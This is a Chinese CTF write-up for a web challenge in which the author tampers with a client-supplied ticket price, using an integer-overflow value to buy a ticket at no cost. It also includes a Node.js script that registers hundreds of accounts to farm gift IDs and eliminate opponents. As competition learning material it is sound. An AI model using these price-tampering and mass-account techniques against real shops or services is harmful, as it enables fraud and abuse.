📎 题目
大吉大利,今晚吃鸡~
http://117.51.147.155:5050/index.html#/login
注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~(「录」字又写错了本题不需要使用扫描器
📎 解题过程
📎 寻找突破口
从题目入口开始,尝试直接在浏览器中走一次正常的操作流程:
注册 -> 登录 -> 购买入场券(下单) -> 支付 -> ?
在支付这一步时便弹出了 余额不足
的异常:
嗯,虽然一张券只要 2000 元,但注册即送 100 元 ,很良心了 。
观察此时在 Network 面板中累积的 XHR 记录:
发现有三处可疑:
所有接口都使用 GET 方法;包括登录 (
login
),将请求参数(用户名和密码)直接放进了 Querystring 中。下单接口 (
buy_ticket
) 的请求参数中出现了价格 (ticket_price
) 。支付接口 (
pay_ticket
) 的响应头中出现了其它接口没有的字段:Pay-Server: Apache-Coyote/1.1 X-Powered-By: Servlet/3.0
📎 登录接口
通常执行动作的接口都应该使用 POST / PUT / PATCH / DELETE 方法;相比之下使用 GET 方法会存在两种问题:
- 敏感信息(用户名和密码)不经 HTTPS 加密,容易被中间人以明文拦截。
- 容易被 XSS 利用,以浏览者的身份直接执行动作;例如在论坛中插入
<img src="/logout" />
的内容即可让所有浏览者登出账号。
但这次所有题目的环境都是 HTTP,目前在这一题中也还没发现有可被 XSS 利用的展示页,所以登录接口的可疑点似乎都还用不上,那么继续往下走吧。
📎 下单接口
对于下单操作而言,价格信息是不应直接信任客户端的;所以通常在下单接口的参数中也就不会出现价格字段。而这里既然出现了,我们就试着篡改看看 —— 在浏览器的控制台里执行:
async function createBill ({ price }) {
let response = await fetch(`http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=${price}`)
let body = await response.json()
console.log(JSON.stringify(body, null))
}
// <- undefined
createBill({ price: 1 })
// <- Promise {<pending>}
// <- {"code":200,"data":[],"msg":"ticket门票价格为2000"}
createBill({ price: 2001 })
// <- Promise {<pending>}
// <- {"code":200,"data":[{"bill_id":"e78b7340-5e15-47d1-98bf-c819be9c607f","ticket_price":2001,"user_name":"yelo"}],"msg":"购买门票成功"}
没想到还对参数做了检查,只允许传入 >= 2000 的值。但这是一个非常诡异的操作,尝试向上溢出:
async function createBill ({ price }) {
let response = await fetch(`http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=${price}`)
let body = await response.json()
console.log(JSON.stringify(body, null))
}
// <- undefined
async function cancelBill (id) {
let response = await fetch(`http://117.51.147.155:5050/ctf/api/recall_bill?bill_id=${id}`)
let body = await response.json()
console.log(JSON.stringify(body, null))
}
// <- undefined
cancelBill('e78b7340-5e15-47d1-98bf-c819be9c607f') // 先取消刚创建的订单
// <- Promise {<pending>}
// <- {"code":200,"data":[{"bill_id":"e78b7340-5e15-47d1-98bf-c819be9c607f","ticket_price":2001,"user_name":"yelo"}],"msg":"订单已取消"}
createBill({ price: 4294967296 })
// <- Promise {<pending>}
// <- {"code":200,"data":[{"bill_id":"d7ddf24c-1be9-4f67-80ae-dff7fd91808b","ticket_price":4294967296,"user_name":"yelo_test_1"}],"msg":"购买门票成功"}
刷新页面后支付订单,成功零扣款进入下一阶段:
获得了入场券和一个礼包 —— 礼包可以在下方「移除对手」弹出的表单中使用。
唔?也就是说直接注册 100 个玩家,把礼包都给一个账号使用不就好了吗?用 Node.js 写个脚本试试:
/**
* File: ../common/batch.js
*
* 创建批量任务
* (从第一题扫描器脚本中抽离出的方法)
*/
const Queue = require('p-queue')
const pRetry = require('p-retry')
const Gauge = require('gauge')
const CONCURRENCY = process.env.CONCURRENCY || 1
function createBatch ({ name, job, isHit = () => true, concurrency = CONCURRENCY, retry = 2 }) {
return async function batch (inputs) {
const queue = new Queue({ concurrency })
const gauge = new Gauge()
let count = 0
let results = []
queue.on('active', () => {
gauge.show(`Working on ${name}: #${++count} / ${inputs.length}`, count / inputs.length)
})
inputs.forEach((input) => queue.add(async () =>
results.push(await pRetry(() => job(...input), {
onFailedAttempt (error) {
console.log(`Attempt ${error.attemptNumber} failed. There are ${error.retriesLeft} retries left.`)
},
retries: retry,
}))
))
await queue.onIdle()
gauge.hide()
return results.filter(isHit)
}
}
exports.createBatch = createBatch
/**
* File: api.js
*
* 题中涉及的 API
*/
const got = require('got')
const { CookieJar } = require('tough-cookie')
const querystring = require('querystring')
const op = require('object-path')
const ENDPOINT = 'http://117.51.147.155:5050/ctf/api'
class Api {
constructor (endpoint = ENDPOINT) {
this.jar = new CookieJar()
this.got = got.extend({
baseUrl: endpoint,
cookieJar: this.jar,
hooks: {
afterResponse: [
(response) => {
let body
try {
body = response.body = JSON.parse(response.body)
} catch (error) {
console.error(response)
throw error
}
if (body.code !== 200) {
let error = new Error(body.msg)
error.response = response
throw error
}
return response
},
],
},
})
}
async register (name, password) {
let query = querystring.stringify({
name,
password,
})
await this.got(`/register?${query}`)
return name
}
async login (name, password) {
let query = querystring.stringify({
name,
password,
})
await this.got(`/login?${query}`)
return name
}
async createBill ({ price }) {
let query = querystring.stringify({
ticket_price: price,
})
let { body } = await this.got(`/buy_ticket?${query}`)
let billId = op.get(body, 'data.0.bill_id')
return billId
}
async payBill (id) {
let query = querystring.stringify({
bill_id: id,
})
let { body } = await this.got(`/pay_ticket?${query}`)
let ticket = op.get(body, 'data.0')
if (!ticket) {
throw new Error('The transaction did not generate tickets.')
}
return ticket
}
async getGifts () {
let { body } = await this.got(`/search_ticket`)
return body.data
}
async kick ({ id, ticket }) {
let query = querystring.stringify({
id,
ticket,
})
let { body } = await this.got(`/remove_robot?${query}`)
return body
}
}
module.exports = Api
/**
* File: index.js
*
* 入口文件
*/
const pad = require('left-pad')
const flatten = require('just-flatten-it')
const Api = require('./api')
const { createBatch } = require('../common/batch')
async function createGifts () {
const PREFIX = 'yelo_spawn_'
const SIZE = 100
const PASSWORD = '12345678'
const OFFSET = 0
const inputs = Array.from(Array(SIZE))
.map((v, i) => pad(i + OFFSET, 3, '0'))
.map((n) => [`${PREFIX}${n}`])
const batch = createBatch({
name: 'getting gifts',
async job (name) {
let api = new Api()
try {
await api.login(name, PASSWORD)
} catch (error) {
await api.register(name, PASSWORD)
}
try {
let gifts = await api.getGifts()
if (gifts.length > 0) {
return gifts
}
} catch (e) {}
let billId = await api.createBill({ price: 4294967296 })
await api.payBill(billId)
return await api.getGifts()
},
})
let gifts = await batch(inputs)
gifts = flatten(gifts)
return gifts
}
async function kick ({ gifts }) {
const USER = ['yelo', '12345678']
let api = new Api()
await api.login(...USER)
let batch = createBatch({
name: 'kicking',
async job (gift) {
return await api.kick(gift)
},
})
await batch(gifts.map((gift) => [gift]))
console.log('Kicking: Done.')
}
;(async () => {
/**
* 批量生成礼物
*/
let gifts = await createGifts()
/**
* 在主账号中使用礼物移除对手
*/
await kick({ gifts })
})()
开始执行脚本:
node .
跑完脚本后发现竟然只消除了一半对手 (点名灭霸 :
观察脚本日志发现不同用户居然还会得到同样 ID 的礼包。那多注册一些玩家呗:
async function spawnGifts () {
const PREFIX = 'yelo_spawn_'
- const SIZE = 100
+ const SIZE = 900
再次执行脚本:
node .
最终得到了 148 个不同的礼包,其中似乎只有 id <= 100 的才能有效移除对手。
这时回到题目的网页,刷新后得知已经吃鸡,拿到 flag DDCTF{chiken_dinner_hyMCX[n47Fx)}
,感觉还没开始便已经结束了 。
📎 支付接口
诶等下,是不是忘了什么?
开头不是还有一个可疑点吗? 🤦
唯独在支付接口响应头中才出现的 Apache-Coyote/1.1
,搜索相关 CVE 后只发现一个 CVE-2005-2090,可用于缓存投毒。
很容易联想到前面提到的 XSS,也许能够配合使用吧。
不过既然只通过跑脚本就足以通关,出题人留下的这条线索可以说是非常意义不明了。
📎 涉及资料
- 源代码
- 知识点